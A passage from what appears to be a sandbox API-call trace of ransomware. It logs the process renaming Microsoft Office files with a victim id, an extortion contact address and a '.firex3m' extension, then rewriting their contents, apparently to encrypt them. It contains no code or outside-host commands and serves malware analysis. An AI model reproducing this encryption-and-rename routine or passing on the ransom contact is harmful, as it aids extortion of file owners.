dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0187.837] GetProcessHeap () returned 0x630000 [0187.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f21) returned 0x7298d00 [0187.837] GetProcessHeap () returned 0x630000 [0187.837] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2f21) returned 0x729bc30 [0187.838] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.838] ReadFile (in: hFile=0x700, lpBuffer=0x7298d00, nNumberOfBytesToRead=0x2f00, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x7298d00*, lpNumberOfBytesRead=0x4abff0c*=0x2f00, lpOverlapped=0x0) returned 1 [0189.922] GetProcessHeap () returned 0x630000 [0189.922] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0189.922] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.922] WriteFile (in: hFile=0x700, lpBuffer=0x729bc30*, nNumberOfBytesToWrite=0x2f00, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x729bc30*, lpNumberOfBytesWritten=0x4abff0c*=0x2f00, lpOverlapped=0x0) returned 1 [0189.922] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.922] WriteFile (in: hFile=0x700, lpBuffer=0x729eb2f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x729eb2f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.922] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.922] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.923] CloseHandle (hObject=0x700) returned 1 [0189.923] GetProcessHeap () returned 0x630000 [0189.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x729bc30 | out: hHeap=0x630000) returned 1 [0189.923] GetProcessHeap () returned 0x630000 [0189.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7298d00 | out: hHeap=0x630000) returned 1 [0189.923] GetProcessHeap () returned 0x630000 [0189.923] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0189.923] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37269022, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2f41, dwReserved0=0xb847496, dwReserved1=0x7298cf8, cFileName="bwcapitalized.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BWCAPI~1.FIR")) returned 0x6d5280 [0189.923] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0189.923] Sleep (dwMilliseconds=0x1) [0191.981] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX", len=0x4f | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX") returned 1 [0191.981] GetProcessHeap () returned 0x630000 [0191.981] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45c4) returned 0x74656a8 [0191.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vssx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0193.622] CloseHandle (hObject=0x69c) returned 1 [0193.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.622] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vssx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vssx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0195.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0195.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b6d297, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x2b6d297, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2b6d297, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x84cf, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="XFUNC_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~2.FIR")) returned 0x6d5240 [0195.418] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0195.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio content\\1033\\xfunc_m.vssx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0195.419] GetProcessHeap () returned 0x630000 [0195.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x84e1) returned 0x71417f8 [0195.419] GetProcessHeap () returned 0x630000 [0195.419] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x84e1) returned 0x6f06978 [0195.420] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.420] ReadFile (in: hFile=0x69c, lpBuffer=0x71417f8, nNumberOfBytesToRead=0x84c0, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x71417f8*, lpNumberOfBytesRead=0x4abff0c*=0x84c0, lpOverlapped=0x0) returned 1 [0198.104] GetProcessHeap () returned 0x630000 [0198.104] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318440 [0198.104] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.104] WriteFile (in: hFile=0x69c, lpBuffer=0x6f06978*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f06978*, lpNumberOfBytesWritten=0x4abff0c*=0x84c0, lpOverlapped=0x0) returned 1 [0198.105] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.105] WriteFile (in: hFile=0x69c, lpBuffer=0x6f0ee37*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f0ee37*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0198.105] SetFilePointerEx (in: hFile=0x69c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.105] WriteFile (in: hFile=0x69c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0198.105] CloseHandle (hObject=0x69c) returned 1 [0198.105] GetProcessHeap () returned 0x630000 [0198.105] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f06978 | out: hHeap=0x630000) returned 1 [0198.106] GetProcessHeap () returned 0x630000 [0199.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71417f8 | out: hHeap=0x630000) returned 1 [0199.981] GetProcessHeap () returned 0x630000 [0199.981] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318440 | out: hHeap=0x630000) returned 1 [0200.555] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.555] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Visio Content\\1033\\XFUNC_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2b6d297, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x2b6d297, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3c061a70, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x84f3, dwReserved0=0xb847496, dwReserved1=0x71417f0, cFileName="XFUNC_M.VSSX.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="XFUNC_~2.FIR")) returned 0x6d52c0 [0200.555] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0200.555] Sleep (dwMilliseconds=0x1) [0200.592] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB", len=0x56 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB") returned 1 [0200.592] GetProcessHeap () returned 0x630000 [0200.592] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4b7c) returned 0x7133a90 [0200.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\designer\\msaddndr.olb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0200.593] CloseHandle (hObject=0x6a8) returned 1 [0200.593] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0200.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\designer\\msaddndr.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\designer\\msaddndr.olb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.594] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb975fdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb975fdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb99c21f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e70, dwReserved0=0xe70013f4, dwReserved1=0x2e005d, cFileName="MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSADDN~1.FIR")) returned 0x6d5040 [0200.594] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0200.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\designer\\msaddndr.olb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0200.594] GetProcessHeap () returned 0x630000 [0200.594] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e81) returned 0x70f0350 [0200.594] GetProcessHeap () returned 0x630000 [0200.595] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3e81) returned 0x73e7db8 [0200.597] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.597] ReadFile (in: hFile=0x6a8, lpBuffer=0x70f0350, nNumberOfBytesToRead=0x3e60, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f0350*, lpNumberOfBytesRead=0x4abff0c*=0x3e60, lpOverlapped=0x0) returned 1 [0202.345] GetProcessHeap () returned 0x630000 [0202.345] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0202.345] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.345] WriteFile (in: hFile=0x6a8, lpBuffer=0x73e7db8*, nNumberOfBytesToWrite=0x3e60, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x73e7db8*, lpNumberOfBytesWritten=0x4abff0c*=0x3e60, lpOverlapped=0x0) returned 1 [0202.346] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.346] WriteFile (in: hFile=0x6a8, lpBuffer=0x73ebc17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x73ebc17*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0202.346] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.346] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0202.346] CloseHandle (hObject=0x6a8) returned 1 [0202.346] GetProcessHeap () returned 0x630000 [0202.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73e7db8 | out: hHeap=0x630000) returned 1 [0202.346] GetProcessHeap () returned 0x630000 [0202.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f0350 | out: hHeap=0x630000) returned 1 [0202.346] GetProcessHeap () returned 0x630000 [0202.346] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0202.346] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0202.347] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\DESIGNER\\MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb975fdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb975fdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3e8e9ad4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3e94, dwReserved0=0xb847496, dwReserved1=0x70f0348, cFileName="MSADDNDR.OLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSADDN~1.FIR")) returned 0x6d4e00 [0202.347] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0202.347] Sleep (dwMilliseconds=0x1) [0204.620] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", len=0x65 | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB") returned 1 [0204.620] GetProcessHeap () returned 0x630000 [0204.620] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x4c10) returned 0x7133a90 [0204.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0204.621] CloseHandle (hObject=0x620) returned 1 [0204.621] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0204.621] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\mstag.tlb.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0204.622] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0204.622] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfc6c | out: lpFindFileData=0x4abfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc576616a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc578c3b9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="MSTAG.TLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSTAGT~1.FIR")) returned 0x6d5540 [0204.622] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0204.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\smart tag\\mstag.tlb.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x620 [0204.622] GetProcessHeap () returned 0x630000 [0204.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3581) returned 0x70afaa0 [0204.623] GetProcessHeap () returned 0x630000 [0204.623] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3581) returned 0x70a25f0 [0204.623] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.623] ReadFile (in: hFile=0x620, lpBuffer=0x70afaa0, nNumberOfBytesToRead=0x3560, lpNumberOfBytesRead=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70afaa0*, lpNumberOfBytesRead=0x4abff0c*=0x3560, lpOverlapped=0x0) returned 1 [0206.800] GetProcessHeap () returned 0x630000 [0206.800] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0206.801] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.801] WriteFile (in: hFile=0x620, lpBuffer=0x70a25f0*, nNumberOfBytesToWrite=0x3560, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a25f0*, lpNumberOfBytesWritten=0x4abff0c*=0x3560, lpOverlapped=0x0) returned 1 [0206.801] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.801] WriteFile (in: hFile=0x620, lpBuffer=0x70a5b4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x70a5b4f*, lpNumberOfBytesWritten=0x4abff0c*=0x20, lpOverlapped=0x0) returned 1 [0206.801] SetFilePointerEx (in: hFile=0x620, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.801] WriteFile (in: hFile=0x620, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4abff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4abff0c*=0x4, lpOverlapped=0x0) returned 1 [0206.801] CloseHandle (hObject=0x620) returned 1 [0206.801] GetProcessHeap () returned 0x630000 [0206.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70a25f0 | out: hHeap=0x630000) returned 1 [0206.801] GetProcessHeap () returned 0x630000 [0206.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70afaa0 | out: hHeap=0x630000) returned 1 [0206.801] GetProcessHeap () returned 0x630000 [0206.801] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0206.802] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0206.802] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4abfcc4 | out: lpFindFileData=0x4abfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc576616a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4135ad96, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3598, dwReserved0=0xb847496, dwReserved1=0x70afa98, cFileName="MSTAG.TLB.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSTAGT~1.FIR")) returned 0x6d5540 [0206.802] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0206.802] Sleep (dwMilliseconds=0x1) [0208.928] SysReAllocStringLen (in: pbstr=0x4abff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF", len=0x6e | out: pbstr=0x4abff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF") returned 1 [0208.928] GetProcessHeap () returned 0x630000 [0208.928] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4dd4) returned 0x6fe4288 [0208.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e4 [0212.882] CloseHandle (hObject=0x6e4) returned 1 [0212.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4abef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0212.882] MoveFileW 